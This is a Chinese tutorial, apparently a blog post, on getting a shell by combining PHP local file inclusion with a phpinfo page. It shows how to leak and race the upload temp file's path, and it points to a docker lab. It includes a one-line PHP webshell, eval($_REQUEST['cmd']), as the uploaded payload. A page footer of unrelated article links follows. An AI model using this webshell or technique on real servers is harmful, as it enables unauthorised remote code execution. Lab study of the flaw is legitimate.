文件上传之结合phpinfo与本地文件包含利用
背景
某站点存在本地文件包含及phpinfo,可以利用其执行脚本。
原理
原理: 利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门
1.php在解析multipart/form-data请求时,会创建临时文件,并写入上传内容,脚本执行后即删除
2.phpinfo可以输出$_FILE信息
3.通过多种方式争取时间,在临时文件删除前进行执行包含
1)通过在数据报文中加入大量的垃圾数据,似phpinfo页面过大,导致phpinfo页面过大,导致php输出进入流式输出,并不一次输出完毕
2)通过大量请求来延迟php脚本的执行速度
环境复现
项目地址:http://github.com/hxer/vulnapp.git
源码存在code目录下,利用docker进行复现

漏洞利用
php上传
向服务器上任意php文件post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。
- post上传文件
php post方式上传任意文件,服务器都会创建临时文件来保存文件内容。
在HTTP协议中为了方便进行文件传输,规定了一种基于表单的 HTML文件传输方法
其中要确保上传表单的属性是 enctype="multipart/form-data"
其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;
2、创建临时文件,并写入上传文件的内容;
3、调用相应PHP脚本进行处理,如校验名称、大小等;
4、删除临时文件。
PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。
- $_FILES信息,包括临时文件路径、名称
在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小
手工测试phpinfo()获取临时文件路径
- html表单
文件 upload.html
<!doctype html>
<html>
<body>
<form action="phpinfo.php" method="POST" enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
浏览器访问 upload.html, 上传文件 file.txt
<?php
eval($_REQUEST["cmd"]);
?>
- burp 查看POST 信息如下

- phpinfo获得如下信息

通过分析可见,php post上传文件时确实经历了:创建临时文件--->调用相关php脚本,在phpinfo中回显文件信息--->删除临时文件
ps: 发现inotifywait确实是款好工具,它可以实时监测linux某一文件夹下的文件的实时变化
安装:
apt-get install -y inotify-tools
使用:
inotifywait -m /tmp
-e 选项指定要监控的“事件”(events)包括了:access、modify、 attrib、 close_write、 close_nowrite、close、open、 moved_to、 moved_from、move、 move_self、 create、delete、delete_self、unmount。
如果不加参数-e的话,默认就是监控所有的事件,在日常运维时,这个工具可以帮助你监控服务器上重要文件和重要目录的变化情况。
GetShell演示


参考:https://github.com/hxer/vulnapp/tree/master/lfi_phpinfo
文件上传之结合phpinfo与本地文件包含利用的更多相关文章
- Struts2文件上传(基于表单的文件上传)
•Commons-FileUpload组件 –Commons是Apache开放源代码组织的一个Java子项目,其中的FileUpload是用来处理HTTP文件上传的子项目 •Commons-Fil ...
- uedit修改文件上传路劲,支持api文件接口
首先修改一个东西ueditor/ueditor.config.js serverUrl: URL + "php/controller.php" 原来 serverUrl: &quo ...
- 使用java的MultipartFile实现layui官网文件上传实现全部示例,java文件上传
layui(谐音:类UI) 是一款采用自身模块规范编写的前端 UI 框架,遵循原生 HTML/CSS/JS 的书写与组织形式,门槛极低,拿来即用. layui文件上传示例地址:https://www. ...
- 文件上传之——用SWF插件实现文件异步上传和头像截取
之前写过几篇文件上传,那些都不错.今天小编带领大家体会一种新的上传方法,及使用Flash插件实现文件上传. 使用Flash的好处就是可以解决浏览器兼容性问题.之前我写的一个快捷复制功能也是利用的Fla ...
- Java 实现文件上传、下载、打包、文件copy、文件夹copy。
文件and文件夹copy package org.test; import java.io.*; public class FileCopy { /** * 复制单个文件 * * @param old ...
- PHP多文件上传(二维数组$_FILES('文件域的名称'),move_uploaded_file(‘临时文件名’,‘新的文件名’))
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- 常见的文件上传方法有哪些?Ajax文件上传原理是什么?
Ajaxfileupload,Ajaxupload,JqueryUploadify无刷新式的文件上传,在一个页面里嵌入一个Iframe,然后在Iframe使用原生的Post表单提交.
- Struts2实现文件上传和下载,多文件上传,限制文件大小,限制文件类型
文件上传使用的包:commons-upload-xx.jar commons-io-xx.jar 一.实现文件上传: 1.在表单空间中添 ...
- 【java】[文件上传jar包]commons-fileUpload组件解决文件上传(文件名)乱码问题
response.setContentType("text/html; charset=UTF-8"); Boolean isMultipart = ServletFileUpl ...
随机推荐
- 推荐2个Mac OS X上的JSON工具
原文:http://www.giser.net/?p=887 1 visual JSON 能够将JSON串以列表的方式展示,方便对JSON数据的解析. 2 JSONModeler 可以解析JSON串生 ...
- Oracle 函数高级查询
目录 oracle高级查询 Oracle SQL获取每个分组中日期最新的一条数据 求平均值(为0的参数不均摊) 字符串清除前面的0 判断字符串串是否包含某个字符串 switch 判断 oracle不足 ...
- JAVA日记之mybatis-3一对一,一对多,多对多xml与注解配置
1.Mybatis多表查询1.1 一对一查询1.1.1 一对一查询的模型用户表和订单表的关系为,一个用户有多个订单,一个订单只从属于一个用户 一对一查询的需求:查询一个订单,与此同时查询出该订单所属的 ...
- 动手做个 AI 机器人,帮我回消息!
大家好,我是鱼皮,自从做了知识分享,我的微信就没消停过,平均每天会收到几百个消息,大部分都是学编程的朋友向我咨询编程问题. 但毕竟我只有一个人,没法所有消息都一个个回复,所以也是很愧疚和无力吧:另外我 ...
- CF688B Lovely Palindromes 题解
Content 输入一个数 \(n\),输出第 \(n\) 个偶数位回文数. 数据范围:\(1\leqslant n\leqslant 10^{10^5}\). Solution 一看这吓人的数据范围 ...
- Solon 1.6.10 重要发布,现在有官网喽!
关于官网 千呼万唤始出来: https://solon.noear.org .整了一个月多了,总体样子有了...还得不断接着整! 关于 Solon Solon 是一个轻量级应用开发框架.支持 Web. ...
- qt5之使用QtXlsxWriter库
note Qt version: 5.12 platform: os x 10.15 本文将介绍直接使用QtXlsxWriter源码 准备 下载QtXlsxWriter 使用Qt Creator 创建 ...
- 【LeetCode】1022. Sum of Root To Leaf Binary Numbers 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 DFS 日期 题目地址:https://leetco ...
- 【LeetCode】744. Find Smallest Letter Greater Than Target 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 线性扫描 二分查找 日期 题目地址:https:// ...
- C. Success Rate
Success Rate 题目链接 题意 给你两个分数形式的数,然后有两种变化方式 上下都+1 仅下面部分+1 让你求第一个分数变化到第二个分数的最小步数. 思路 有几种特殊情况分类讨论一下. 首先我 ...